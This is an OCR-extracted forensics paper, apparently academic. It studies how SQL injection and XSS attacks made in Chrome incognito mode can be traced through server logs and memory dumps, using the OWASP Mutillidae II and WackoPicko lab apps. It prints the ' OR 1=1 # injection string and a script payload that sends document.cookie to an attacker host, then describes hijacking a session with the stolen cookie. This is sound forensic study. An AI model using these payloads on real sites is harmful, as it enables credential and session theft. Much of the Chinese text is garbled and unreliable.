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Abstract

At present, the development of the Internet of Things (10T) has reached the fourth stage.
That is to say, being in the stage of communications between devices through existing Web
standards, which is called WoT (Web of Things). For the upcoming new trends, the security
issues not only face 10T connected devices, but also include web application vulnerabilities.
The development of hidden technologies such as incognito browsing modes has made
forensic investigator encounter obstacles in the evidence checking process. Therefore, this
paper will focus on the analysis of SQL Injection and Cross-Site Scripting (XSS) attack

methods in incognito browsing mode. It is by the exploration of memory forensics to find out
1


mailto:sjwang@mail.cpu.edu.tw

Journal of Information, Technology and Society (JITAS)

the correlation between the attacking and hacked terminal-ends. Then establish more

complete forensic procedures in our study works.
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A RHSE 7 55 SRR SRR 25 sE IR ARG A\ A HET TR VAT Ry > WinHex J2 Fi X-Ways Software
Technology AG A E]FrBASEH—& T/ lEfldRiaes - =] DUHAAE R B0 H 2 (L8 i i
s N\ S HET TEORHVEAT - 400 6 Ao o

oo WinHex — d x
File Edit Search Mavigation View Tools Specialist Options Window Help 19.1
DSBS
File Edit
& 6 : WinHex &£/
B - SLiREES O R

ASGRFEC R R S M 73 R R A [ R - — Ry TS e A% 2 sC iR e i sl oy
T SEHEEMEE A LA Web EAREAURFETIEAT R > P HREIE - H
FAE SRR AR 2~ 3~ 4R o

7 21 Web Jitg FHE 200 2 B s - R I

SQL Injection XSS
hEF RS A intel i7-4790/8 GB RAM intel i7-4790/8 GB RAM
{EFE 241 Windows 10 (64 bits) Windows 7 (64 bits)
o e Chrome 67.0.3396 Chrome 67.0.3396

13
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7 3 Web JiE AR Uk <2 540w LRI

SQL Injection XSS
[ JERf VM Workstation 11 VM Workstation 11
4 Z N OWASP Mutillidae I, OWASP WackoPicko,
\ersion 1.2 \ersion 1.2
B PE Chrome 67.0.3396 Chrome 67.0.3396
7 4 - Web JiEE FIAE 2RI 33k - HRERER
SQL Injection XSS
hEF RS A intel i7-4790/8 GB RAM intel i7-4790/8 GB RAM
VEZE 245 Windows10 (64 bits) Windows 7 (64 bits)
FTK Imager 3.1.2.0 3.1.2.0
WinHex 19.1.0.0 19.1.0.0
4.1 Web #HI BB A

it NetMarketShare ( https://netmarketshare.com ) 3T 444F Firfifly a4
Chrome £y H A&k a2 N HAIVEIE RS 2 — > RIELA S A Google Chrome HYfEIE

B T R T R 2 BB -
B -

E2%%2 )] Google Chrome YR 3B 15 =5 [ B A TR E RV 4815 OWASP Mutillidae 1([E 7) »

I #E7T SQL Injection 4% -

Web Service:
5
‘:[Bx Switeh to SOAP Web Service version i Switch to XFath version
XML
Documentation o 4
m Please enter username and password
to view account details
Vrﬂ Narme
Passwor d
Getting $tarted: i
Project Wniepaper
Deant have an account? Please register
Relea:
Announcemen s
Ton
)
Video
Tutorials
OWASP

7 : OWASP Mutillidae 11

14
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PR IR R T user | FLASHE B " pass - BIFETER DS T80 AIESRA505 1% -
SQL Bl & {T:
“ SELECT * FROM accounts WHERE username='user' AND password="pass' ”
BEZEmA—EAEEN SQL Rl - fil4n: "'OR 1=1# -
“ SELECT * FROM accounts WHERE username=" OR 1=1 # 'AND password=""
W1lE 8 A Al (15 SQL AR B IS TRF Er T N Y RUIL (FR) I B D44 B accounts
REIZNE » B E m] iS22 FE RS &S - 201l 9 s -

Help Me!

Hints
By
Web Service version ML) $Witeh 1o XPath version

smen
m Please enter username and password
to view account details

Name fori=18

Password [

Project Whitepaper

Dont have an account® Flease register nere

Release
Anncuncements

To
o
Video

Tutorials

Browser: Mozilla/5.0 (Windows NT 10.0: Wing4: x64) AppleWebHiv537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Satari/s37.36
PHP Version: 5.3.2-1ubuntud.20

8: i A SQL Injection #4545

2.168.24.129/mutillidae/index

Please enter username and password
to view details
@ Name I
P Password
Getting Started:
Proec Wnepsper
Dont have an account® Flease register here
” [ Results for = OR 1=1 #".27 records found. ]
- Username=admin
Release Passwerd=admin
gt root?
Username=adrian
You Password=somepassword
R} Signature=Zombie Films Rock!
Video Username=john
Tutorials Password=monkey
Signatures like the smell of confunk
Username=jeremy
Password=password
Signaturesdi3T3d 1337 speak
- Username=bryce
OWASP Password=password
Signatures] Love SANS
Username=samurai
Password=samural
Signature=Carving Tools
Usernames=jim
Password=password
Signature=Rome 5 bumng

9: BH/R#4 ks accounts FHE AR

15
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BRI
8235 LA Google Chrome fiR 28 f5 x5/ B JRRIFHY 481nE WackoPicko([&l 10) » Jf:
HETT XSS L » DUTNRHEFZ D A

9 WickoPick: s
SO |7, WackoPickn com xR Y

C (@ 140.119.164.142:0000/

WackoPicko.com

Upload  Recent  Guestback Login

Welcome to WackoPicko

On 'WackoPicko, you can shase al
Butthal's not all, you can akso bu:
versian of somecne’s pictures. W

crazy pics with your biends.
ights 1o the high quality

ko 18 fun for e whaie Tamily
New Here?

Create an account

Check out a sample userl

What s going on today?

O you can test to see it WackoPicko can handle a file
Check s tie: | I BEA | LIEFRIER

Viilh this name

Send Flle

Home | Admin | Contact | Termes of Service

10: WackoPicko

SHBR 1. BEAE Guestbook (LAY EY S )i A EAE=UEE(3) - WIE 11 AR o kb5
SIEAE S B 2 B http://Xxx.xxx.xxx.142/test.php - H E: output %5 k57 B
-~ Cookie 1§ -

<script>
location="http://xxx.xxx.xxx.142/test.php?output="+document.cookie;
</script>

11: g A XSS INEF5 <

BB 2. ERENRIIRERERE A AMILE - AN ERFZEZEBE Guestbook - DAfiE
2B 22 [ BUANAG E http://xxx.xxx.xxx.142/test.php (& 12):1 B 57 E%3 Cookie {H -

12 W B2 B4Euh
16
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E2AET AMILZBE Guestbook H i (& H B THE SGETHIEE

HER 3.
B2 E NEFIHUS Cookies ([ 13)

5%

3. EuiE2 8231y Cookies

S 4. BEEZESZE3% Cookies 1% » n]#5MH Google Z4 EditThisCookie » &
Cookies([& 14) » B A]{E & 2823 5575 AGguh([& 15) » 7R A ez 4k rh DL B2 1 5 5
R I E T By

T WackoPicke.com x

C  ® 140.119.164.142:9000/ WackoPicke

=] ) = - = Q * B

WackoPicko.com =

4,142 | acgroupswithpersist

G » 140 4.142 | acopendivids
Upload Recent Guestbook
~ 140.119.164.142 | PHPSESSID
w =
n f3utoqujnrk81gflo29smri6d
Welcome to WackoPicko a

©On WackoPicko, you can share all your crazy pics with your frie| (2)
But that's not all, you can akso buy the rights to the high quality
version of someone's pictures. WackoPicko is fun for the whole faid

New Here? &g

Create an account

Check out a sample user!

Session Secure HTTP Only
What is going on today?

Or you can test to see if WackoPicko can handle a fil v kit
Check this fle: | SUEER | FlFFFERT
Wit this name:

Send File

14: ‘H#a Cookies

[7 WackoPicko.com

C  @© 140.119.164.142:

s/home.php

WackoPicko.com

GLLES  Upload Recent Guestbook Cart Logout

R e )

Hello scanner2, you got 100 Tradebuxs to spend!

Cool stuffto do
Who's got a similar name to you?
Your Upleaded Pics

Your Purchased Pics

Enter in our contest

15: BB a5 B AL

17
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4.2 Web HEfHlaT w27

ASLLNH Y Web JEHFEZURE SQL Injection K XSS Ry - 5 8H & B4 DUIRZ
BV T A AT Rl - SRR A B EC IR AR T g -
A. BR—IITRE
SER 1 ik A\ B ieEuh Ak e h AR RO R - Al 16 For - #83R IP 192.168.24.1
£ 2018 = 5 A 31 H 2 I 53 sylky - A AREHGRACH: - HILHFHIEMRAHALT - rLlREER
LR PER 2 B T B

192.168.24.1 - - [31-May-2018:02:53:39 -94001 "GET rmutillidae-index.php?page-us
er—info.php&usernamne=+x27+0R+1-3D1++23&password=&user—info—php-submit-button=View
+Account+Details HITP-1.1" 200 9371 “http:--192.168._24.129-nutillidaerindex.php?

page=user-info.phpdusernane=x27+0R+1:x3D1+xZ3&password=&user-inf o—php—submnit-butt
on=View+Account+Details" "Mozilla-5.0 (Windows NT 10.0; Win64: x64) AppleWebKit~
537.36 (KHTHML, like Gecko) Chrome~66.0.3359.181 Safari-537.36"

16: HI%E IP (i B AR,

11

HER 2. Ei’i—*‘nEZT » SEHRAENE(E] Az as FTREE E] SQL Injection %2 > it mysql.log
HEERE A P HE R, - 588 A 157 SQL Injection UE Y 35555 - 4[] 17 Frors -

635 Query INSERT INTO hitlog(hostname, ip, browser, refere
r, date) VALUES ('192.168.24.1", '192.168.24.1", 'Mozillar5.0 (Windows NT 10.0:
Wint4: x64) Applelebkit-537.36 (KHTML, like Gecko) Chromer66.0.3359.181 SafarisS
37.36°, 'Recieved request to display user information for: %' OR 1=1 #', wnow()
)

637 Query SELECT = FROM accuunts
= R

& 17: SQL Injection IQ%Z;EQ?.%

HER 3. i LAl AR HE AR RIEZERY IP irikfy 192.168.24.1 » &LiH—
HERHY IP BT - S5 IP Y(EARE & Bob - JOERE A B GIEHE#HE Bob 12 - &

BIERFEA Bob 5 - SIRIEAEEFAVER —& - [ B BH 5 A EREzUR
B EAEE - e B R s VSRR - YL RVERE FTK Imager #{TECIEAGHY
ZEHY > 4nE] 18 Ao e

18



HEE 4.

Journal of Information, Technology and Society (JITAS)

Memory Capture L= x

Destination path:
| Browse

Destination filename:

|memdump.mem

¥ Indude pagefile
|pageﬁle .5ys

¥ Create AD1 file

|memcapb_|re.ad 1

Cancel

18: fEH] FTK Imager #E{TECIRAS 2 HL

s A B4 FTK Imager BUSSCIEAGHYBMEAETR - DL WinHex T RIE=ECE

BGHINE - BEEAH Bob BEISHG FRZ UL EResHIAC s, - SUAZ AR 0E S R
TSR AE 19 For > HAEEETR - fEE I Bob G AUHEGURIE M H - 4E 20

AR

OO0ESQTED
OO0ESO800
O0O0ESOB10
O00ES0820

e

5C
2E
el
65

-

Find Text o4

The following text string will be searched:
|192.168.24.129)

Match case
ASCI/Code page ~

[] Use this as a wideard: 7
Whaole words onby

Search: | All w
[ ]Cond.: offzet mod

Search in block only

512 [=|0

Search in all open windows

List search hits, up to 3 | 10000

gt OK

Cancel

& Help

19: DI4gHE 7192.168.27.129 | AyfRd sy

68 T4 74
34 2E 31
2F €9 6E
30 75 73 &5

e e e e

70 34 2F
32038 2F
64 65 78
12 2D &8

e

2F 31 38 32
6D 75 T4 &9
2E 70 &8 TO
6E £6 6F 2E

R i L

20: R HEGRFRZ LA EC R

19

2E 31 36 38
6C &C &9 64
3F 70 el &7
70 €8 70 26

\"http://192.168
.24,128/mutillid
ae/index.php*pag
E=user—infu.phﬂa

AT ms s ENC TR
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SEE5. RBTAESEIMAEN - MR A B — 5T HH A SQL Injection
SR WRIREAEEE - BT ES - W 21 57 - 11 B
ettt 9 » S5 Bob 7 1 SO TR 4BYS - AP SQL Injection FASBIME (4
[ 22) -

Find Text e Find Text e
The following text string will be searched: The following text string will be searched:
| 'OR1=1# |3-;2?—+0F{+‘I %3D1+%23
Match case Match case
ASCI/Code page ASCIl/Code page
[ Use this as a wildcard: 7 [J Use this as a wildeard: 7
Whole words only Whole words only
Search: |Al ~ Search: |Al ~
[JCond.; offsst mod 512 |= 0 [JCond.: offsetmod | 512 = D
Search in block only []5earch in block only
Search in all open windows Search in all open windows
List search hits, up to 2 | 10000 List search hits, upte * | 10000
Cancel & Help Cancel € Help

[ 21: DL " OR 1=1# , Risffdmt 5 = TRE i =

00D272760 |68 T4 74 70 3A 2ZF 2F 31 39 32 2E 31 36 38 ZE 32 | htip://192.168.2
00D272770 |34 2E 31 32 39 ZF 6D 75 74 &5 6C 6C 69 64 61 65 | 4.129/mutillidae
00D272780 |2F &9 6E &4 65 78 2E 70 &8 70 3F 70 61 &7 65 3D | /index.php?page=
00D272790 75 T3 65 72 2D 65 6E 66 &F 2E 70 &8 70 26 75 73  user-info.phpgus
00D2727A0 65 T2 6E 61 &D 65 3D 25 32 37 2B 4F 52 2B 31 25  ername=%2T7+CR+1%
00p272780 33 44 31 2B 25 32 33 26 TO 61 73 73 77 oF 72 64 | 3D1+%23&password
00D2727C0 3D 26 75 73 65 72 2D 68 6E 66 &F 2D 70 68 70 2D =guser-info-php-
00p272700 73 75 62 6D 69 T4 2D 62 T5 T4 T4 6F 6E 3D 56 69  submit-button=Vi
00D2727E0 65 77 2B 41 63 63 6F 75 6E 74 2B 44 65 T4 6l 69  ewtAccount+letai
00p2727F0  eC T3 00 OC 00 OC 00 OO 00 00 00 00 00 00 00 00 1s

22: 5E{LL SQL Injection EA > &

B. R OhARE

SER L fEER A\ B (E AR 28 T & SR 48R 0 5T IP 140.xxx.Xxx.34 1F 2017 4 8 H
28 H 2 5 13 731 » HELRECS: - WIE 23 For - HEAE D scanner2 5578 A48k »
Hid=5 > 4fE 24 Fr © BRI AN TREBRARERFEN » A5 —{E 1P 140.xxx.Xxx.142
NEIFITESE RS A DA RR B 7y & A 480G - A& 25 Fiors - i35 e A BHIRE -

20
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11[],-34 - = [2B/Aug/2017:02:13:29 04001 "POST /UaCPDPicktl-"ll‘?r‘r“‘/lﬂgi'n ol
TTE/L L 303 20 "Nty VackoP ickorusersy login phy” Mo

118/3.0 (MmdouQ NT 6.1 Winbd; xb64) Applededkit/o37.36 (KHTHL, 1ike Gecko) Ch
one/60.0,112. 101 Sfari/337. )

I 23 IP 140 XXX XXX. 34 HARAr Bk

170828 2:13:29 600 Conmect wackopicko@localhost on

600 Init DB wackopicko

600 Query SELECT = from ‘users’ where ‘login' like ['scamne
rZ'| and password = SHA1( CONCAT('scamnerZ’, ‘salt’)) limit 1

600 Query UPDATE ‘users’ SET "last_login_on’ = NOW( ) WHER
E Jusers . id = "5'|LIMIT 1

600 Quit

601 Commect wackopicko@localhost on

601 Init DB wackopicko

601 Query SELECT = from users where id = 'S’

601 Query SELECT » from users where id = 'S5

601 Query SELECT * from users where id = '

601 Query SELECT = from users where id = 'S’

601 Quit

24: D) scanner2 5438 A44uk > H id=5

140, I 147 |- - (28/hug/2017:02:16:11 -0400] "GET AlackoPickos HITP/.1" 200
167 "http:// I /VackoPicko/" "Mozilla/5.0 (Windous NT 10.0; W

1nb4; xb4) AppledebRit/adr.do (KHTHL, like Gecko) Chrome/60.0.3112.101 Safari/ad
7.3

& 25: IP 140.XXX.XXX.142 HLR40 55

B 2. TEHER AN EBFHE T - BRI B HEN S T EEE A > NEE—TE
mysql.log HESRENTEF408E - SEHAE(EHE S AR 49u5HY B =t (guestbook) ff ik A T
XSS WEEREEL - AfE 26 Fow - HEFE tEE A & E guestbook 48 H - WIE 27 i »
PRI S 20k A 2R » (S5 AT REMBas T XSS ¥ - MiRiEE 28 Fin » Al i 4%
TRHEAEE S —ERE E - [FRF L EES T &Y cookie {E  HHILATHEEREAER S
SRR EIE A -

21
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170628 2:12:50 593 Conmect wackopicko@localhost on

033 Init DB wackopicko

593 Query  INSERT INTO 'questbook’ ('id", 'name’, "comment’
, created_on ) VALUES (NULL, 'attacker', [<script)\rn location=\"http://140.11

I /tcst . phpfoutput=\"+docunent .cookie;\r\nd/scripty , NOW())

033 (uery SELECT 'id", name , comment , created on fro
n "guestbook  ORDER BY created_on DESC

593 Quit

26: XSS ¥ $55

170828 £:13:33 603 Connect  wackopicko@localhost on

603 Init DB wackopicko

603 Query  SELECT "id", name’, comment’, "created_on fro
n | questbook | ORDER BY created_on DESC

603 Query  SELECT * from users where |id =

603 Query  SELECT = from users where

603 Quit

[l 27: {5 %5 % guestbook H A

: |m) D + =) = Q ~
WackoPicko.com 120.115.162.122 | acgroupmithpersin
140.119.164.142 | acopendivids
Upload Recent Guestbook
~ 140.119.164.142 | PHPSESSID |
w \
. fAutoqu2jnrk81gflo20smriss
Welcome to WackoPicko &
On WackoPicko, you can share all your crazy pics with your frie; @
But that's not all, you can also buy the rights to the high guality ]
version of someone’s pictures. WackoPicko is fun for the whole e
140.119.164.142

New Here? B&TE
Create an account HUTER

28/08/2018 02:15 AM
Check out a sample user! =

HestOnly Session Secure HTTP Only
VWhat is going on today?

Cryou can test to see if WackoPicke can handle a fil| v HE)
Check this file: | RS |FHRIEFAEE
With this name:

Send File

28: 4t Cookies LLE FHEHE &

B 3. MRIE FAGE SR AAER - SERATHERT IP 140.xxx.xxx.142 Fy Al ke H AR » 40E—

22
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SFHY IPIEETR - SR IP HIEH#E & Alice » Y2 E N B5HE Alice 18 > &EB&7AE

FPiE A Alice (ERTIIEEIR— S IEAE I THYEERE > NIEIZETE M FTK Imager #E1THRS - ##
RIS - WlE 29 Fow -

Memory Capture + B

Destination path:

| Browse

Destination filename:

‘memdump.mem

¥ Indude pagefile
‘pageﬁle.sys

¥ Create AD1file

‘memcapture.adl

‘ Cancel ‘

A

29: EH] FTK Imager #{TEC A2 HL

HER 4. fak N EFIH FTK Imager RUSSCIRASHYBLEAETR - L WinHex TR#=ELH
A QAL - 40iEl 30 FrorR > HEEAER - MEE IR Alice G UEERBIE M H - 40
31 AR -

Find Text = £L

The following texd string will be searched:
I14ﬂj | 142 I =

Match case

| Unicode v]

Ige this as a wildeard: 7
Whole words onhy

Searh

[ Cond.: offset mod | 512 | =|0
Search in block only

[ Search in all open windows

List seanch hits, up to = 10000

i OK Cancel & Help

30: DL T 140.xxx.xxx.142 | FsfiieFridiz=
23



0125657024
0125857040
0125857056
0125857072
0125857088
0125857104
0125857120

00 00 00 00 &2 00 00 00
32 00 2F 00 2F 00 31 00
31 00 39 00 2E 00 31 00
34 00 32 00 3A 00 39 00
57 00 61 00 63 00 6B 00
68 00 6F 00 2F 00 67 00
62 00 6F 00 6F 00 6B 00

Journal of Information, Technology and Society (JITAS)

68 00 74 00 74 00 70 00
34 00 30 00 2E 00 31 00

ttp
[/ /140.1

36 00 34 00 2E 00 31 00
30 00 30 00 30 00 2F 00

6F 00 50 00 69 00 63 00
75 00 65 00 73 00 74 00
2E 00 70 00 68 00 70 00

31: LR FRZ UL AT R

WackobPic

ko/qguest
book.ph

SE 5. WHELHSRHGENR  NEfa A\ B P EEE0AEM A XSS A4

B WA EFAY RS

ETTRARE TR > A0 32 R o AEAEPTISEEREER o b

B Alice A E G 40 HLR FEaz 4Euk - TAEREEEH XSS T8 (AfE 33) -

Find Text

Match case

The following text sting will be searched:

document .cookie

=

| Unicode

-

Use this as a wildcand: 7
Whole words onhy

Search:

[Tl Cond.: offset med |512 (=D
Search in block onhy

[7] Search in all open windows

List search hits, up to 3 10000

—

Cancel
—

& Help

32: L T document.cookie | Ayff#i 748 =:

24
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F def Qlackop
icko guesthook O

uesthook created
_on created om ?
E
o= =9 atta
cker¥Yy<script>
location="http:

/|

Srtest.php?output
Tr+document . cook
ie < /S scriptc>

33: BE{Ll XSS sHiE s F &

SR 6. FHFYEAINY XSS R A A& A UL cookie {H » LI A\ Bif— D= » &%
5, Alice B¢ guestbook 72 ([ #7 T 811 B AN FH &1y cookie » #/1&E 34 A » AL AT
0 Alice HEE LEiasEh XSS B BAE H A (& 4R -

= . B Referexr: ©h
Tttt = A |
[ brwacko
Ficko/Ssguestchook .
Php Soccept—Enco
dimg: g=ip, defl
ate Scoccept—Lang
wmage: =h—TW,_ =h -
=0 .8 ., en— OS5 g=—0. &

en s o= - 43 Cookd
=: PHPSESSID=f3u

tcogwvZijmrkEE8lgfOo=
S=Emriced:; acopernd

Awvid=s—swingset, J
otctco, ,phphbh=, redm
ime, acgroupsSwWwit
hpersistc=nada .

34: Tr¥EEAT guestbook B EIHTEN(E &Y cookie

4.3 HRZEELREEEATE R R
ASCERHAE WoT BUT rIRE G 38 A AV BR I, - BIEZ % nlRE 48 Web JE IR0
JEE AL B e TP EUS- 2 58 LIRSS - W5 NSRRI E o AR
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\OT 4G - BRI A B ET A FE TS Web FE FFRZ SR T e
FERARTSE SRS L 25 5 BT -

7= 5:

BT eSO EE R R

LEEIHH

Ghafarian %,2015[6]

Periyadi %§,2017[16]

A T4

T

T E B BB AL B B AR
FIE B0 18 A LR A
Z S U e N SR
A 25 H B o A7 B2 AL 21
B AHERRVENE - SCiRER
HUEEHE A4S R aC R AR 25
HU T EARAE ~ efEaeor
T T B BE T AR R Y
o o BRIt = 6 oy 4
Pk o EetR B 4 5
Z B s 2 BB
HEAETEH R -

F ST ¥ 2 B U A
#E 17 50 18 S 9 3R
& o i = TR
FABR RS > I
P82 Bim AR
fie T FIT B R Y B RS
{790 - [FEIRFEEARR
8RR P R oy AT AR
T2 - SRR - AR
B E ] A
R H P RS -

¥ WoT BRI sE &
i F Y 2 2
—:Web fE HI#E =0k
HEITHRES - $tHERZ
Web Ji& A 2 20 T 2
£ WAERZE DURIROZ]
BN ET I ERTT
FoBIRIE T - FEHECTE
iz 5 K S 1T 28 748 2 B4
i E AR A 1T RO 1R A
s AL 0 AIEEEE
tH B e 2 B

H AR5
TR LA
P 2 &

=

L BRT$t¥280m L soiRRe T AT A E TR A0 - AR IERL
tH BT e 2 PRS- DARRBhE S N B 8HE P BEmREE A

2.l WoT BFAUBARARHVEIES - NIEET S WOT I & bR 22 425k
REETTERET © W WoT B - Bz nlRE & 7248 Web IR Uk
HETEE > FEEE RIS SO rT B A SRR -

{h ~ &5m

loT REFEST 2 ax (i H E 1B SHEA [FIHYE RS AL AT - HEM SRR - 1] WoT HIZ
i 10T SR (AR Y Web BEE AR - St HIE & Web ERIERE - 24
M EE R loT Higae s Zat » WARFSTERIRSTEES - LAFERE
JE e A B B AR A B A RERBUEHY 10T HERE AR MR 8 H R - ASCRH
WoT R CHT & iR 2 s - Bl Web JERRRZURIFRT G/ 21V Ry - et — &5 i
AECTE AR SR - et Web fEAAE=URIRERVEL S - £ 2 fi F.2 Web BRI
FUREREETX © SQL Injection Jz XSS HETE B  HaT M ECEAR T ATE & MHIPRE - &5
B EWA ST HAVEC IR AR SR > 72 Web JEAIREAURIASCERAVER ST - AL
sCifAe P EGg - 0T AL AT Ssery ke A > DA Bh s AN B HAE -
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